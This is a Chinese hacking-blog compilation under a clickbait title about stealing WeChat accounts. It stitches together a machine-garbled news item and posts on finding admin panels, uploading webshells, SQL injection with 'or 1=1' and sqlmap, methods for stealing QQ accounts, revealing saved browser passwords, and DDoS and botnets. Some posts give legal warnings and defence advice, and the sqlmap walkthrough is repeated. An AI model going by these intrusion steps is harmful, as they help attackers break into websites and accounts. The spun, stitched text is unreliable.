黑客教你3分钟盗微信（专业黑客先做事后付款3）即日，在新浪微博上，用户告发“微信被盗号码”的例子不堪罗列。记者发掘，这些微名誉户大多都有过相似的号码被盗历史：目生人发来一句话(此中往往包括一个网站链接)，而后让你进来空间看看是否定识某人，翻开后需求输入 *** 号和暗号，一旦输入，账号和暗号非常迅速就会被对方窃取。

　　黑客教你3分钟盗微信

　　1.一样，即日某网页论坛上也发现了一位黑客，他宣称行使微信账号的平安毛病，胜利破解了多位名流的微信账号，并将其作为证据公布。业内子士还显露，近期微信账号被盗紧张。当前，因为微信密友多来自 *** 密友和手机通信录，用户对目生人的警悟性较低，被犯法分子胜利欺骗的概率较高。别的，微信的分外机能也间接为犯法分子供应了便当。好比，微信能够经历“就近查人”功效，放松找到千米局限内数十名微名誉户举行“定位”。

　　2.另一个社群对象微博被盗并不是甚么鲜活事。少许名流或一般微博用户时常发掘，他们的微博说的是“莫明其妙的话”，大概眷注的是本人不希望眷注的人。除新浪微博外，腾讯微博、搜狐微博等热点社群网页账号被盗事务时有产生。

　　3.行使微信请求亲友汇款，微博、微信等账户盗刷事务频发，给用户带来了经济丧失和繁难。据公安构造表露的案件表现，即日发掘一个团伙盗用微信账号。胜利应用微信通信录和亲友密友后，他们请求对方将钱汇到国际。若汇款人没有周密核实身份，放松汇款，发掘后就来不足了。

　　4.另一大威逼是用户隐衷的泄漏。少许专家指出，用户没有平安认识。少许网民在应用微信、微博等社群网页时，习气于把通常的杂务、喜怒哀乐，包括种种图文放到网上。分外是在出行时，微博或微信的用户险些100%被请求将出行光阴和观察后果公之于众，这些做法非常大概带来庞大的平安隐患，轻易被人控制。

　　5.别的，微博等账号被盗也给用户带来非常大困扰。好比，微博数目被盗后，会有非常多被别人应用的陈迹，需求光阴来肃清。绑定了手机号或邮箱号的微信账号能够取回暗号。比方，若手机已注册，在微信应用登录页面→点击[忘怀暗号]，经历手机号→检索暗号，输入注册的手机号，体系会向手机发送短信考证码，翻开手机短信中的地点链接，输入考证码重置暗号。

　　在渗透中，有时通过注入等 *** 拿到了后台账号和密码，却找不到后台，导致非常的尴尬，这篇文章小风会介绍自己常用的查找后台 *** ，当然，有攻就有防，还会介绍几种让人找不到后台的 *** 。

　　万变不离其宗，后台的位置主要分以下几种情况。

　　

　　1、在网站根目录下

　　例如admin.php，manage.php等文件，后台管理地址直接存放在根目录，比如常见的论坛程序discuz后台地址就是admin.php

　　2、在非根目录下

　　这种情况最为常见，最常见的后台地址无非是/admin，/manage，还有织梦系统的默认后台地址/dede

　　3、旁站

　　将网站和后台分离开，使用不同的端口，比如地址：

　　4、使用二级域名

　　普通小网站通常不会这么讲究，但是对于大型网站来说，分离主要是为了方便管理，例如后台为：admin.xf1433.com

　　5、其他服务器

　　无处可寻的后台，完全与网站分离开，ip地址不同，域名也不同。

　　

　　1、字典暴力破解

　　所有的找后台工具无非是一个原理，用大量的后台字典，生成大量的后台网站，再通过http请求，假如状态码是200，则后台地址正确。常见的后台扫描工具有：御剑、wwwscan、kali、以及其他目录扫描工具。

　　2、爬虫全站扫描

　　使用我们的黑客神器Burpsuite中的蜘蛛爬虫功能，或者其他爬虫工具，对全站文件路径进行扫描，了解到全站路径后可以百度查查相关路径，搞不好能知道cms系统，然后再下载相关cms，看看默认后台路径，即使找不到后台，也可以找找cms的相关漏洞。

　　做过网站的站长大多有被ddos攻击的经历，不少人面对竞争对手的网站就是直接雇人ddos攻击网站，导致对方网站长期打不开，最后无奈关闭网站，小风今天就教大家最简单也是最有效的防御 *** 。

　　

　　对于游戏，网游来说，是ddos攻击的主要受害者，所以导致游戏服务器都需要购买高防服务器来对抗流量巨大的ddos攻击，目前市面上防护效果中等的服务器一个月也要上千，但是对于大多网站没有盈利的站长来说，购买高防服务器是支出是巨大的。除了购买高防服务器，常见的 *** 还有购买高防IP，我们来看看阿里云的高防ip价格。

　　

　　我们全部配置都选更低，但是每个月的价格仍需要两万起步！还是关站算了！

　　答案：使用cdn加速

　　我们知道，ddos攻击是直接解析域名IP进行攻击的，从而对域名ip进行各种发包，导致宽带流量处于峰值，用户便无法正常访问。使用cdn加速后，相当于在服务器和用户之间增加一个中转站，这样就能达到隐藏服务器真实ip的效果，当攻击者攻击服务器时，攻击到的是服务商的IP，而不会对我们真实的服务器造成威胁。相比于高防ip和高防服务器硬钢ddos，cdn更加具有灵活性，并且不需要什么成本。

　　

　　百度云加速、加速乐、腾讯云、阿里云等等。

　　结尾：此ddos防御 *** 能防住90%只会用工具无脑攻击网站的人，但是懂原理的人仍有 *** 绕过cdn防护进行攻击，ddos攻击目前没有办法彻底解决，即使大公司也是，只能靠各种 *** ，流量清洗，cookies识别等减少一部分攻击量。

　　当我们访问一个网站时，如果网站页面越简单，访问速度越快，页面越漂亮，加载速度就越慢，因为要加载更多东西，服务器压力也会比较大。cc攻击就是利用这种弱点，使用大量 *** 服务器，对网站进行攻击，消耗网站服务器资源，例如宽带，cpu，内存等，导致服务器奔溃，正常用户无法访问。

　　

　　由于动态页面打开速度慢，需要频繁从数据库中调用大量数据，对于cc攻击者来说，甚至只需要几台肉鸡就可以把网站资源全部消耗，因此动态页面很容易受到cc攻击。正常情况静态页面只有几十kb，而动态页面可能需要从几十MB的数据库中调用，这样消耗情况就很明显了，对于论坛来说，往往就需要很好的服务器才能稳定运行，因为论坛很难做到纯静态。

　　使用cdn加速能隐藏服务器的真实ip，导致攻击者攻击不到真实ip，但是此举只能防住部分比较菜的攻击者，除非你做到真正的把ip隐藏起来。

　　前面讲了攻击者是通过大量 *** 进行攻击，设置禁止 *** 访问，或者限制 *** 连接数量，也能起到一定的防护作用。

　　被cc攻击时服务器通常会出现成千上万的tcp连接，打开cmd输入netstat -an如果出现大量外部ip就是被攻击了，这时候可以使用防护软件屏蔽攻击ip或手动屏蔽，这种 *** 比较往往被动。

　　个人认为使用防护软件的作用是最小的，只能拦住小型攻击，很多软件声称能有效识别攻击手段进行拦截，而大部分cc攻击能伪装成正常用户，还能伪装成百度蜘蛛的ua，导致被攻击的时候防护软件要分析大量请求，而导致防护软件的占用内存升高，反而成了累赘，甚至软件自己奔溃。

　　近日有粉丝问我，怎么在后台拿webshell，希望通过这篇文章能帮助大家拿webshell多一条捷径，因为现在老网站后台在win7版本以上的浏览器是显示不全面的，也就是有些地方不能浏览，特别是网站的编辑器，打开看一片空白，所以建议大家在虚拟机安装一个XP或者2003系统，这样方便我们日后渗透工作减少很多障碍，好了废话不多说，进入正题。

　　工作准备工具：NC+WinSock Expert+C32+小马、大马

　　可备用工具：NC+BurpSuite+小马、大马

　　解析：用BurpSuite就不用C32,因为BurpSuite本身就有16进制功能，关于BurpSuite的超强功能，相信大家应该知道。

　　以上两者任一即可，首先我们先登录

　　

　　寻找上传点，这点不用我说大家都知道，但是有一点有必要提醒大家，尽量不要在编辑器里面上传，这样的做法成功率很低，除非人品大发，看 *** 作。

　　

　　我这里就是在校园风光进，看到图片添加点进去，每个站的后台都有所不同，但是大多数相同位置就是logo，可以logo位置上传。

　　

　　

　　在qq上收到任何链接都有可能是钓鱼网站，比如我们收到了一个链接打开后就直接要登录qq空间，小白可能直接就输入账号密码了。但是看了一下域名不对啊，不是某讯相关的域名，显然是一个钓鱼网站。

　　

　　看到危害这么大的行为，心中的正义感油然而生，怎么可以放任别人上当呢？

　　发给小白就算了，让我们遇到，今天算你倒霉，于是开始了正义的渗透。

　　先用工具扫描一下网站

　　

　　扫描结果如上图，可以看到一个我们比较感兴趣的信息，login.php页面的返回码是200，说明该页面存在，这是一个网站管理员的后台登入页面，先打开看看再说

　　打开管理员后台登入页面，先尝试一下弱密码，比如admin/admin888，admin/password

　　很遗憾，不是弱密码，再换一种思路

　　

　　很遗憾，还是不能登录，再换一种思路

　　这个时候想起，这种登录框会不会存在SQL注入漏洞呢？要不试试看

　　

　　这个时候我们发现找到了突破口，报错了，而且还爆出了路径

　　

　　这个时候就有点兴奋了，这个时候sqlmap就派上大用场了，我们可以使用sqlmap跑包，或者通过sqlmap跑登录框，如果是跑包的话，可以使用sqlmap -r

　　

　　使用sqlmap跑登陆框的话可以使用sqlmap -u "url" --form

　　python sqlmap.py -u "" –form

　　开始我们的sqlmap之旅

　　大部分学 *** 安全的人，都有个致命的缺点，就是不懂这方面的法律知识，装逼挂个黑页，等下就被警察叔叔发了通告，前段时间腾讯一个员工住酒店，然后检测了酒店wifi，发现漏洞后写成了一篇技术帖发到网上，却不告诉酒店管理人员，结果就被抓了！还赔偿了两万多人民币，身边也不少例子，今天就帮大家补一下这方面的知识

　　

　　如果说黑客行为更多的是一种技术手段，技术手段本身是不存在承担责任一说的，至于使用了这种手段是不是要承担责任，我们要根据其使用目的和造成的损害来分析，下面我们逐项来讨论这些黑客们应当承担的责任。

　　1、盗窃资料

　　需要盗窃的资料一般来说都是保密资料。根据资料的不同性质，承担的责任也不同。

　　A、如果盗窃的被国家视为机密资料，是构成犯罪的，例如国家英语四级考试的试题涉嫌被人用黑客手段盗窃了，这个黑客就要被判刑了;

　　B、如果通过黑客手段盗窃其他单位的技术或商业秘密，可能构成侵犯商业秘密罪;

　　C、如果普通保密资料也可能因为侵犯商业秘密而承担民事赔偿责任。

　　2、攻击网站，造成网路堵塞

　　不管是出于竞争的目的，恶意攻击，还是出于好玩的心里故意造成其他网站网路堵塞，造成其他人无法访问，那么都将对其他网站造成损失，造成了损失当然是要赔偿的。如果是大型网站，交易繁忙，网路堵塞造成的损失将是巨大的，黑客也将面临巨额的赔偿。攻击非法网站总行了吧？抱歉，也是不行的，2018年就有一黑客攻击赌博网站获利100万结果被抓！

　　3、进行恶作剧，删除、更换网页

　　进入别人的网站，将人家的首页更换成一张 *** ，或者将重要内容进行删除、修改。黑客的想法不过是恶作剧而已，但是对这些网站将造成一定的损害。有的很多网站是长期不更新的，也没有人专门维护，网页被更改可能长时间不被发现。大部分网站往往是作为公司形象进行宣传的，这样一更改公司形象大受影响，也一定要造成相应的损失，那么黑客就要承担相应的民事责任。

　　另外，网页的页面设计及文字内容是享有著作权的，你擅自给改了，就是侵犯了著作权，也是要承担责任的。

　　也有的黑客喜欢将别人网站的用户名和密码破译，然后将用户名和密码挂在 *** 上。网站的用户名和密码属于商业秘密，如果将他人的商业秘密公布在 *** 上当然构成侵犯商业秘密，将承担相应的法律责任。

　　4、进入网站，告知漏洞

　　悄然进入别人的网站，不声不响又走了，然后给网站发封信，告知其网站安全有漏洞。就象徐志摩再别康桥“轻轻的我走了，正如我轻轻的来，我挥一挥衣袖不带走一片云彩”。非法进入别人的网站却没有这么浪漫，感觉就象小偷进了自己家，不偷任何的东西，还留字条：你的门锁该换了”，让人虚惊一场，更让人没有安全感，但是要追究责任恐怕也很困难。没有丢东西，够不成盗窃，没有损害，谈不上赔偿。但是毕竟给人造成精神的压力，如果要求索赔精神损失也是说得过去的。

　　当然黑客做法很多，对于他们的行为性质需要根据他们的行为目的，造成的后果进行全面分析。

　　现如今各类网站都要求用户注册账号后，才能使用相应资源和服务，很多人为了方面起见，都习惯在本地浏览器选择记住密码，下次登录可以不用反复输入账号密码。同时这也带来了安全隐患，下面我们来演示如何还原这些看不见的密码。

　　1、火狐Firefox浏览器，打开 *** 首页，对于已经记住的账号密码，原本如下，点击键盘“F12”，可看到密码框对应的标签类型为password。

　　

　　2、将密码框对应的标签类型更改为text，点击回车，此时即可看到密码框中的明文了。

　　

　　3、同时，在浏览器的“选项”设置-“隐私与安全”，无需任何校验，即可看到该浏览器已经保存了的账号和明文密码。

　　

　　4、另外，再来看下谷歌Chrome浏览器，打开“设置”-“高级”-“管理密码”，即可看到浏览器已保存的网站以及相应的账号密码，此时密码仍是不可见。

　　

　　5、通过点击图中的透视，浏览器会弹出校验框，输入本地电脑的账号密码即可。

　　

　　其他浏览器也是类似的情况，至于如何利用这个特性，那就要大家发挥自己的想象力。比如忘记密码了，可以用这种方式找回密码；比如可以查看到男女朋友的账号隐私；比如电脑被黑客植入木马，那所有账号密码就被看光了。

　　如何加以防范呢？

　　1、提高个人的安全意识。不要在公共电脑上选择记住密码。浏览网站后选择退出并清除痕迹。

　　2、如不得不使用浏览器的记住密码功能，需有选择性地在家用电脑、办公电脑上，对部分不太重要的网站账号信息使用记住密码。

　　3、尽量不让完全信得过的人随意使用你的电脑，确有必要，也需你本人在场的情况下借用给他人使用。

　　4、给电脑本地设置账号密码，在离开电脑前，进行电脑锁屏。

　　5、不要随意安装不明来源的软件，及时给系统打补丁，减少中木马的机会。

　　6、由于部分网站支持非账号密码登录方式，比如短信验证码登录、扫描二维码登录等，应尽量采用此类登录方式，来替换原来的账号密码登录。

　　《黑客进化：不为人知的危机》是模拟 *** 黑客活动的一款策略模拟游戏。玩家在电脑统治的世界中扮演一位实力超群的黑客，为了阻止电脑接管世界，主角与整个电脑 *** 展开了一场看不见的隐形战争。

　　游戏开场就有相应的教程，让玩家迅速成长为一名合格的黑客，当然了，现实中的黑客技术肯定没有游戏中的这么简单，但是这并不是重点，这款游戏目的在于培养玩家的一种思维模式，让玩家了解到黑客技术相关的知识。

　　虽然介绍上说这游戏不需要什么专业知识，但是没专业知识还真不知道怎么弄，游戏的操作都是通过输入一串命令来完成，类似平时我们用的dos

　　

　　

　　

　　

　　小风试玩了十多分钟 感觉不错 背景音乐非常棒 非常适合新手练习

　　我知道是要我盗号我就不回复了，首先是因为我不接单，并且这个行为是违法的，与我们网站的价值观不符，第二是懒得解释，这篇帖子就给大家统一回复下。

　　找我盗号的人无非一下几种原因

　　1、查看qq空间

　　2、看看女朋友和别人的聊天记录，怀疑劈腿的

　　3、找回离家出走的家人！

　　4、商业机密

　　5、仇人，想盗他号

　　--------------------------------------------------------

　　今天就跟大家说说 盗号的几种 ***

　　1、tx数据库

　　tx数据库泄露过，通过数据库查询密码

　　2、内网抓包

　　有时候，内网嗅探抓包也是可以截取到密码的，小风没测试过qq的，不过现在看来不太可能。

　　3、钓鱼

　　钓鱼软件，钓鱼网站等，模仿官方诱骗用户输入账号密码发送至服务器。

　　（你是否有在其他人 *** 空间留言板见过什么“你的照片怎么会在别人空间”然后一个网址，你点进去是个伪装的空间页面要你登陆，一旦登陆，抱歉你的空间会自动发送无数广告）

　　4、社工

　　根据对用户的了解，得出密码组合。

　　5、远控

　　远控上线，键盘记录。

　　6、暴力破解

　　一般针对弱口令，强密码是不容易被破解的。

　　7、直接找他要

　　这个 *** 简单粗暴，当然对方的行为可能也简单粗暴。

　　8、账号申诉

　　社工手段中的一种，需要各种奇淫思路获取各种信息

　　9、伪装安全中心邮件

　　（如果有邮件发送到你的密保邮箱要求你填什么刚刚接收到的验证码，那么这一定是假的）

　　--------------------------------------------------------

　　我们来对上面的情况分析一下

　　假如我现在要盗某个qq号，先查下社工库吧，但是数据库确是几年前的，成功率非常低。

　　试试钓鱼吧，做了个钓鱼软件，发给对方，对方接不接是个问题，有没有杀毒软件是个问题，难道还先做个免杀再给对方发过去吗，对方不接你就懵逼了。

　　钓鱼网站呢？现在网民的安全意识提升了，连大人都不会点的链接，你还想骗别人点！有脑子的先看看链接，而且浏览器很多会智能识别。

　　远控，然后键盘记录？指定ip入侵比登天还难！不同的电脑会遇到各种问题。

　　暴力破解？用这个 *** 你是智障吗？你现在生成上亿个密码，腾讯有验证码好吗，你慢慢去输验证码吧，而且输太多还不让登录了，即使你输对了。（不要轻信网上的qq密码暴力破解软件，没有可行性）

　　社工？有的人几乎不在网上留下什么个人信息，难度高

　　.......

　　综上所述

　　盗号容易，用钓鱼的 *** 进行撒网式盗号。

　　盗号困难，对指定号码进行盗号。

　　对于那些想找黑客帮忙盗号的，算了吧。你找到的，百分之九十九是骗子，说肯定能盗的，百分之一亿是骗子。（腾讯不是盖的）

　　很多人不知道学习黑客技术要学些什么，经常有学员问我，这里整理出一张图，告诉想学好黑客技术的人到底该学什么

　　该图介绍了windows下黑客学习的路线图，以及需要掌握的各门技术的流程介绍，包括 *** 攻防方向和软件安全方向。

　　

　　大家可以看到，想要学好技术，需要会的方面非常广，跨度也比较大，而学好这些更需要非常强的基础。

　　黑客绝非天才，他们在电脑前的努力，或许才是最难得的。

　　利用别人的cookie，他们可以冒充真实的用户，在颁发cookie的那个网站中为所欲为，个人隐私在他们面前根本不存在。

　　接下来这篇文章以3个兄弟之间的对话进行讲解。

　　运气好的话连别人的用户名和密码都能得到，那就一通百通，因为大家都嫌麻烦，总是使用同一套用户名和密码来登录各种不同系统。

　　可是好景不长，这一天黑客老三慌慌张张地找到了老大：“大哥，大事不好！ ”

　　“老三，你这慌慌张张的毛病什么时候能改改？ 这点儿你可得学学你二哥。” 老大训斥道。

　　“不是，大哥，这次真是大事不妙，浏览器家族最近颁布了一个什么同源策略，我们原来偷Cookie的招数都不管用了！ 今天我连一个Cookie，用户名密码都没有偷到。”

　　“什么叫偷，说了多少次了，那就借，知道不？”

　　“我早就料到了，这么重大的安全漏洞肯定肯定会补上的，他们不会这么轻易地让我们来跨域来访问别人的Cookie，修改别人的DOM，调用别人的服务的。” 老成持重的黑客老二说道。

　　“那怎么办？ 没有Cookie，难道我们三兄弟以后就饿肚子了吗？” 老三很紧张。

　　“别担心，我们哥仨勾兑勾兑，他们肯定有漏洞的，” 老大安慰到，“老二，你先说说你的看法。”

　　“其实吧，我们想去借一个Cookie来用，关键是要让我们Beauty.com的JavaScript在目标浏览器上运行，然后访问爱存不存银行(icbc.com.cn)的cookie，可是现在他们用了同源策略，我们网站的JavaScript不允许访问别人网站的东西，那这条路就行不通了。”

　　上次说到三兄弟用XSS和CSRF这两个工具获利颇丰，后来人们在编程中很注意防范，这两个漏洞越来越少了，逼得三兄弟不得不开辟新财路。

　　没看上一篇的请先看上一篇：xss获取用户cookie如此简单，你学会了吗？

　　1另辟蹊径

　　老二给大家提了一个建议：“要不我们试一试SQL注入？”

　　老大说：“老掉牙的东西了，1998年都有了，估计漏洞也没几个了吧？”

　　“那不一定啊，反正我们要节源开流，我最近找了一个网站，可以让老三来练练手。”

　　老三一听又可以学到新东西了，非常兴奋：“二哥，你先给我说说什么是SQL注入。”

　　“原理非常简单，比如网站有个users表格，数据如下：”

　　

　　“这个网站有个功能，根据id来查看用户信息， 对应的SQL可能是这样的：”

　　string sql="SELECT id , name， age from users WHERE id="+;

　　如果用户在浏览器的URL 是 那真正执行的SQL就是这样：SELECT id , name，age from users WHERE id=1

　　

　　就会把张大胖对应的那条记录给取出来了。

　　老三说：“这没什么啊，程序不都是这么写的吗？”

　　老二说：“作为黑客，如果遇到了这种情况，那可是个好机会啊，你想想，如果我输入了 or 1=1 会发生什么状况？”

　　老三把id的值代入到sql中，有趣的事情发生了，sql变成了这样：

　　SELECT id , name， age from users WHERE id=1 or 1=1

　　“哇塞，这是哪个天才想出来的注意啊，or 1=1 会让where字句的值一直是true， 那岂不把所有的user数据都给提取出来了！” 老三惊叹。

　　2牛刀小试

　　老二笑道：“三弟，原理很简单吧，但是想用好可不容易，你再试试这个网站：这个URL能显示ID为U123的博客摘要。

　　老三迫不及待地把url 改为 or 1=1 ， 心想最终的sql 就是： SELECT xxx FROM xxx WHERE id=U123 or 1=1 ，他兴奋地等待所有的博客摘要显示出来。

　　看到危害这么大的行为，心中的正义感油然而生，怎么可以放任别人上当呢？

　　发给小白就算了，让我们遇到，今天算你倒霉，于是开始了正义的渗透。

　　先用工具扫描一下网站

　　

　　扫描结果如上图，可以看到一个我们比较感兴趣的信息，login.php页面的返回码是200，说明该页面存在，这是一个网站管理员的后台登入页面，先打开看看再说

　　打开管理员后台登入页面，先尝试一下弱密码，比如admin/admin888，admin/password

　　很遗憾，不是弱密码，再换一种思路

　　

　　很遗憾，还是不能登录，再换一种思路

　　这个时候想起，这种登录框会不会存在SQL注入漏洞呢？要不试试看

　　

　　这个时候我们发现找到了突破口，报错了，而且还爆出了路径

　　

　　这个时候就有点兴奋了，这个时候sqlmap就派上大用场了，我们可以使用sqlmap跑包，或者通过sqlmap跑登录框，如果是跑包的话，可以使用sqlmap -r

　　

　　使用sqlmap跑登陆框的话可以使用sqlmap -u "url" --form

　　python sqlmap.py -u "" –form

　　开始我们的sqlmap之旅

　　

　　一段时间后，出现了我们想看到的

　　

　　是一个POST的时间盲注，因为是盲注所以过程会比较久一点

　　接下来我们利用这个注入点查询当前用户和是否存在跨库查询的可能；

　　远控

　　很流行的一类工具，其中最著名的是灰鸽子，远控最主要的功能就是控制电脑，一般用来做企业电脑批量管理，学校机房，网吧等，但是被黑客利用后，出现了很多新功能，比如键盘记录，偷看视频等，从某种意义上来说是严重违法的行为，随着杀毒软件的升级，和对此类软件的打击，现在玩远控的人越来越少了。

　　肉鸡

　　所谓“肉鸡”是一种很形象的比方，用来比作那些能够随意被我们操控的电脑或服务器。也就是被远控软件控制的机器。

　　木马

　　就是那些表面上伪装成了正常的程序，可是当这些被程序运行时，就会获得电脑的整个操控权限。有很多黑客就是用木马来对电脑进行破坏的，例如远控要控制电脑的前提就是先生成木马，然后想办法让对方运行，就能进行控制。

　　网页木马

　　表面上伪装成一般的网页文件，但是把病毒代码直接插入到正常的网页文件中，当有人访问时，网页木马就会执行相应的漏洞代码进行破坏。例如有人访问 *** ，发现cpu很高，实际上里面调用了挖矿的代码，当你访问网站时会利用你的电脑进行挖矿。

　　挂马

　　就是在别人的网站文件里面放入网页木马，将恶意代码插入到对方正常的网页文件里，以使阅读者中马，挂马是形容一种操作行为，不是一种技术。

　　后门

　　这是一种形象的比方，比如你想下载个腾讯qq，但是在网上下载到不是官方的文件，而是别人先把病毒文件绑定在正常的文件里，当打开时会中毒，通常这种病毒称为后门，因为受害者无法发现。

　　弱口令

　　指那些密码强度不够，容易被猜解的密码，类似123456，abc123，abcdefg，woainixiaofeng这样的口令（密码） ，是黑客常见的入侵手段，100个密码就有20个左右是这种弱密码。

　　shell

　　指的是一种指令执行环境，比方我们按下键盘上的“windows键+R”时出现“运行”对话框，在里面输入“cmd”会呈现一个可以运行命令的黑窗口，这个窗口大家基本上都用过，或者在黑客电影里看过，这个就是Windows的Shell执行环境。以前没有鼠标只有键盘的时候，就是靠这个完成全部电脑操作的！

　　WebShell

　　WebShell就是以asp、php、jsp等网页文件方式存在的一种命令环境，也能够将其称做是一种网页后门。黑客在入侵了一个网站后，一般会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起，一般会藏得比较深，因为不能被管理员发现，被删除就不能获得网站控制权了。一个网站被挂上webshell后门，基本上可以为所欲为，想修改网站任何部分或者删除都可以。黑客之间的网站交易就是以webshell进行的，例如我花多少钱买这个网站的webshell权限，而攻击者负责想办法在这个网站里面放上webshell后门，这样说大家应该明白了。

　　注入

　　随着B/S结构开发的网站环境，基本上全部的网站都需要数据库。用户能够提交一段数据库查询代码，根据程序回来的结果，获得某些他想要知的数据，这是正常的情况，但是在查询语句中修改为有恶意攻击的代码，就具有破坏性，这个就是所谓的SQL注入，更具攻击性的网页漏洞，让无数企业站被入侵的罪魁祸首。

　　注入点

　　是指能够实行sql注入的地方，一般是带有参数的网页地址。根据注入点数据库的帐号权限的不同，你所得到的权限也不同。

　　内网

　　通俗的讲就是局域网，比方网吧，校园网，公司内部网等都属于此类。查看IP地址如果是在以下三个范围之内的话，就说明我们是处于内网之中的：10.0.0.0—10.255.255.255，172.16.0.0—172.31.255.255，192.168.0.0—192.168.255.255。

　　DDos 攻击自打出现以后，就成为最难防御的攻击方式。仅仅在过去的一年里，DDoS 的数次爆发就让人大开眼界：

　　2016年4月，黑客组织对暴雪娱乐发动了 DDoS 攻击，魔兽世界、守望先锋多款游戏出现宕机的情况。 2016年5月，黑客组织针对全球银行机构发动 DDoS 攻击，导致约旦、韩国、摩纳哥等国的央行系统陷入瘫痪。 2016年9月，法国主机商 OVH 受到 DDoS 攻击，峰值达到1Tbps 2016年10月，DynDNS 受到 DDoS 攻击，北美众多网站无法访问，受影响的网站均排前列。

　　在你不经意之间，DDoS 可能已经在互联网上横行无忌了。

　　在谈攻防史之前，我们先来看看 DDoS 的攻击原理，知己知彼，百战不殆。

　　什么是 Ddos 攻击？

　　DDoS 攻击是分布式拒绝服务攻击（Distributed Denial of Service）的缩写，核心是拒绝服务攻击，通过使目标电脑的 *** 或系统资源耗尽，使服务暂时中断或停止，导致其正常用户无法访问。而攻击的形式，又分为带宽消耗型和资源消耗型。带宽消耗型通过 UDP 洪水攻击、ICMP 洪水攻击以及其他攻击类型；资源消耗型包含 CC攻击、SYN 洪水攻击、僵尸 *** 攻击等。不同的攻击类型，我们的应对措施有所不同。不过在我们的日常工作中，我们所使用的 DDoS 攻击普遍是带宽消耗型攻击，也就是说，黑客会针对你的服务器发送海量 UDP 包、SYN 包，让你的服务器的带宽被攻击流量占满，无法对外提供服务。举个例子：用户通过 *** 来访问你的服务器就如同客人过桥来找你，但是由于你的钱只够建立一个双向四车道的桥，但是攻击者派了 100 辆大卡车，堵在你的桥门口，导致没有正常客人能够过桥来找你。

　　拒绝服务攻击（DoS, Denial of Service）是指利用各种服务请求耗尽被攻击 *** 的系统资源，从而使被攻击 *** 无法处理合法用户的请求。

　　随着僵尸 *** 的兴起，同时由于攻击 *** 简单、影响较大、难以追查等特点，分布式拒绝服务攻击（DDoS，Distributed Denial of Service）得到快速壮大和日益泛滥。

　　成千上万主机组成的僵尸 *** 为 DDoS 攻击提供了所需的带宽和主机，形成了规模巨大的攻击和 *** 流量，对被攻击 *** 造成了极大的危害。更加可怕的是 DDoS 并没有彻底的解决办法，只能依靠各种手段和各个层次的防护进行缓解。

　　1

　　背景

　　2015 年 12 月，国内一家云厂商声称部署在其云平台上的一家知名游戏公司遭遇了峰值流量达到每秒 453.8Gbps 的 DDoS 攻击。

　　2016 年 9 月，为全世界范围内提供网站托管服务的法国公司 OVH 的创始人兼 CTO 在 Twitter 上发出了一张截图，图中显示了 OVH 的多个服务器同时遭到了峰值接近 1Tbps 的 DDoS 攻击。如下图所示，可以发现这次 DDoS 攻击中单一攻击的吞吐量更高就可达每秒 9300 万个包，即 799Gbps。

　　

　　2016 年 10 月，黑客通过互联网控制了美国大量的 *** 摄像头和相关的 DVR 录像机，然后操纵这些肉鸡攻击了美国多个知名网站，包括 Twitter、Paypal、Spotify 在内的网站被迫中断服务，此次攻击影响了大半个美国互联网。

　　

　　由此可见，DDoS 攻击正变得越来越严重，动辄上百 Gbps 的攻击都十分常见，并且，这样的攻击只会越来越大型。而且，随着 *** 安全界和黑帽子掌握越来越多的互联网资源，攻击复杂性也一直在增加，相应的，业务和应用所面临的 *** DDoS 挑战也不断增多。

　　因此，我们必须在 DDoS 威胁、影响关键业务和应用之前，对流量进行检测并加以清洗，确保 *** 正常稳定的运行以及业务的正常开展。

　　2

　　反射攻击

　　一般而言，我们会根据针对的协议类型和攻击方式的不同，把 DDoS 分成 SYN Flood、ACK Flood、UDP Flood、NTP Flood、SSDP Flood、DNS Flood、HTTP Flood、ICMP Flood、CC 等各类攻击类型。

　　每一种攻击类型都有其特点，而反射型的 DDoS 攻击是一种新的变种。攻击者并不直接攻击目标服务 IP，而是利用互联网的某些特殊服务开放的服务器，通过伪造被攻击者的 IP 地址、向有开放服务的服务器发送构造的请求报文，该服务器会将数倍于请求报文的回复数据发送到被攻击 IP，从而对后者间接形成 DDoS 攻击。

　　如下图所示，这里的攻击者（Attacker，实际情况中更多的会利用傀儡机进行攻击）不直接把攻击包发给受害者，而是冒充受害者给放大器（Amplifiers）发包，然后通过放大器再反射给受害者。

　　黑客们指的肉鸡，就是被控制的电脑，通常是使用远控软件进行控制，拥有电脑的操作权，也有使用ddos软件等进行控制

　　虚拟产业有：支付宝、 *** 网、 *** 游戏ID帐号装备、 *** 号里的Q币、联众的虚拟荣誉值等等。虚拟产业，是可以兑现为实在货币的，多少不限，堆集起来就是财富。

　　这个你懂得，说不定你的摄像头正对着你的床！

　　

　　陈冠希事件，信任大家都知道，如果一般人的隐密相片、文档被发布在互联网上，后果将会非常严峻。使用偷来的受害人隐私信息进行诈骗、勒索的案例不少。

　　还有进犯者热衷于远程操控别人的摄像头，满足窃视别人隐私的邪恶意图。

　　如果偷到受害人电脑上的商业信息，比方财务报表、人事档案，进攻者都可以获取不合法利益。

　　你或许认为你的 *** 号无关紧要

　　，也没 *** 秀，也没Q币。实际上并非如此，你的 *** 好友，你的Email联系人，手机联系人，都是进攻者的目标，进攻者可以伪装成你的身份进行各种不法活动，每个人的人脉关系都是有商业价值的。

　　最常见的例子就是通过你的好友，跟他们借钱

　　这种情况下，会影响你的上网体验，所有人都很厌烦电脑主动弹出的广告。黑客在操控大量肉鸡之后，可以经过强行弹出广告，从广告主那里收成广告费，流氓软件泛滥的原因之一，就是许多企业购买流氓软件开发者的广告。

　　还有的黑客，经过肉鸡电脑在后台悄悄点击广告获利，当然，受损的就是肉鸡电脑了。

　　黑客的任何攻击行为都可能留下痕迹，为了更好的躲藏自己，必然要经过多次 *** 的跳转，肉鸡电脑充当了中介和替罪羊。攻击者为传达更多的木马，或许会把你的电脑当做木马下载站。网速快，机器性能好的电脑被用作 *** 服务器的可能性更大。

　　经常关注小风教程网的同学应该看过本站很多DDOS文章了，就是利用大量的肉鸡对网站进行攻击,不会的可以看下ddos攻击原理

　　

　　总之在黑客的世界里，”肉鸡“电脑就像白菜一样被卖来卖去。有的人却傻傻的不知道，所以即使你不是it界的人员，你也应该提高自己的安全意识！

　　很多朋友觉得自己的密码设置的够复杂了，保存的也很好，可是还是被黑客盗取了，这是不是很尴尬？

